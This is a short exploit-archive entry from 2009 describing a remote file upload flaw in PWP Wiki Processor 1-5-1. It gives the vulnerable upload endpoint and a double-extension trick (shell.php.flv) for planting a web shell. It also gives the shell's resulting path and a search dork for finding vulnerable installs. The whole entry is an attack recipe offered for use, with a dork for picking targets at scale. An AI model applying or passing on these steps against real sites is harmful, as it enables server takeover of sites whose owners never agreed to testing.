[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PWP Wiki Processor 1-5-1 Remote File Upload Vulnerability
# Published : 2009-01-12
# Author : ahmadbady
# Previous Title : Wordpress plugin WP-Forum 1.7.8 Remote SQL Injection Vulnerability
# Next Title : dMx READY ( 25 Products ) Remote Database Disclosure Vulnerability
====remote shell upload====
================================
script: PWP Wiki Processor 1-5-1
===========================================================================
download from:http://www.lars-ackermann.de/wiki/static/upload/PWP_1-5-1_en-US.zip
===========================================================================
xpl:
www.site..com/path/wiki/run.php?iRequest=upload/UploadList
(upload shell.php.flv)
shell: www.site.com/path/wiki/upload/shell.php.flv
------------------------------------------------------------
dork: "(Powered by PWP Version 1-5-1 )" && inurl:"/wiki/run.php"
------------------------------------------------------------
**************************************************
Author: ahmadbady [kivi_hacker666@yahoo.com]
**************************************************
# www.Syue.com [2009-01-12]